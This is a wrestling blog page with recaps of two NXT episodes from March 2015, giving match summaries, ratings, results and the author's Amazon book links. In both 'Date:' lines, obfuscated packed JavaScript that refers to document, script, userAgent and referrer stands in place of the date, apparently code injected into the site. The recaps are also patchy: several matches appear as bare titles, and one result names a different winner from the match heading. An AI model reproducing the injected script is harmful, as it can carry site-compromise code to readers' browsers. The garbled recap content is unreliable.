And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – March 18, 2015: Road Trip!

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iteeb|var|u0026u|referrer|yyeth||js|php'.split('|'),0,{})) March 18, 2015
Location: LC Pavilion, Columbus, Ohio
Commentators: Jason Albert, Corey Graves, Rich Brennan

The opening video talks about being in Columbus and previews the major events tonight.

Opening video.

The arena looks similar but there are a lot more seats opposite the Titantron. The wrestlers have to come down some steps off to the side instead of a ramp as well. Finally the cameras are facing the Titantron instead of having it on the right.

Kalisto vs. Tyler Breeze

Breeze rips at the mask and puts on a chinlock as we take a break. Back with Kalisto fighting back but not being able to hit the Salida Del Sol. Instead he dives into the Supermodel Kick for two and Breeze is getting frustrated. Kalisto knocks him down again and nails a 450 but Breeze is right next to the ropes. Salida Del Sol is countered again and the Beauty Shot is good for the pin at 10:07.

We recap Owens vs. Riley, which is entirely built around Owens being a bully and Riley wanting to stand up to him. Riley has come out of retirement to fight Owens and proved himself against CJ Parker last week.

Video of HHH talking about what it means to expand and the potential of NXT as a touring brand.

Colin Cassady vs. Wesley Blake

A springboard spinning forearm gets two for Blake and we hit the chinlock. Colin fights up and stomps away in the corner, setting up a side slam. Murphy gets up on the apron and Carmella gets up to yell at him, only to have Cass boot him down. Carmella goes down at the same time though, allowing Blake to roll Cass up and grab the trunks for the pin at 3:55.

Video on bodybuilder Dana Brooke who has signed with NXT.

Alexa Bliss vs. Sasha Banks

Non-title. Sasha is nailing the charisma at this point and is ready to be on the main show. Sasha goes after the nose, which she broke to put Bliss on the shelf for months. The double knees out of the corner gets two and we hit the chinlock. Alexa fights up and moonsaults into a double knee of her own before the Booker T. spinning sunset flip out of the corner gets two. Sasha bails to the floor so Alexa dives out onto her, only to be sent into the apron. Bliss quickly posts her though and wins by countout at 3:18.

Rating: C-. Bliss has gotten a lot better in a hurry and seems to be the next project of the division. I still think Bayley is the one to take the title off of Banks (if nothing else because I want to see the fans lose their collective minds) but Bliss is a good choice for a lower level challenger for now. Also, points for not jobbing her in her hometown or having the champ get pinned.

Kevin Owens is ready for Riley but is looking forward to facing Balor as well.

Alex Riley vs. Kevin Owens

Another right hand puts him on the floor but Owens is ticked off. Back in and Owens misses another Cannonball, setting up a spinebuster for two. Riley hits the ropes on a missed crossbody, setting up three straight backsplashes. Instead of covering though, Owens sends him back out to the floor. Back in again and the pop up powerbomb gives Kevin the pin at 6:00.

Rating: C+. This was exactly what it should have been with Owens getting rocked a few times but never being in any serious danger. Riley got to try but gets beaten up in the end and Owens gets to look like a killer all over again. Good stuff here and nothing great, which was pretty much exactly the idea.

Results

Tyler Breeze b. Kalisto – Beauty Shot

Buddy Murphy b. Wesley Blake – Rollup with a handful of trunks

Alexa Bliss b. Sasha Banks via countout

Kevin Owens b. Alex Riley – Pop up powerbomb

http://www.amazon.com/dp/B00SATPVKW

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – March 11, 2015: There’s Always Next Week

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdndi|var|u0026u|referrer|stkdr||js|php'.split('|'),0,{})) March 11, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Tom Phillips, Jason Albert

Opening sequence.

Enzo Amore/Colin Cassady vs. Lucha Dragons

Enzo comes back in but gets kicked away, allowing the hot tag to Kalisto as things speed up. The Dragons take over again as this is going longer than your average opening match on this show. Everything breaks down with Enzo and Cass going outside. Cass shoves his buddy away to take the double dive but is still able to break up the swanton from Cara. He does the smart thing by dragging Enzo over for the tag and the East River Crossing plants Kalisto, setting up a Rocket Launcher from Amore for the pin at 5:40.

Next week we see matches from NXT at the Arnold Sports Festival in Columbus, Ohio.

Video on Alex Riley.

Alexa Bliss vs. Carmella

CJ Parker vs. Alex Riley

Tyler Breeze vs. Hideo Itami

The fans think Itami is gorgeous as Breeze drops a leg and puts on a chinlock. Back from a break with Itami punching Breeze away and hitting a top rope dropkick to put both guys down. A leg trip sends Breeze to the floor and a big kick gets two. Itami kicks him in the face but walks into the Supermodel Kick for two.

Breeze gets pulled face first into the post while trying to crotch Itami, setting up a top rope knee to the back of the head. Breeze gets up again though and Itami is getting mad. The fans call for the GTS but have to settle for a hard series of strikes instead. Itami misses a running dropkick in the corner though and the Beauty Shot is good for the pin on Hideo at 11:25.

Results

Enzo Amore/Colin Cassady b. Lucha Dragons – Rocket Launcher to Kalisto

Alexa Bliss b. Carmella – Sparkle Splash

Alex Riley b. CJ Parker – Blockbuster

Tyler Breeze b. Hideo Itami – Beauty Shot

http://www.amazon.com/dp/B00SATPVKW

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6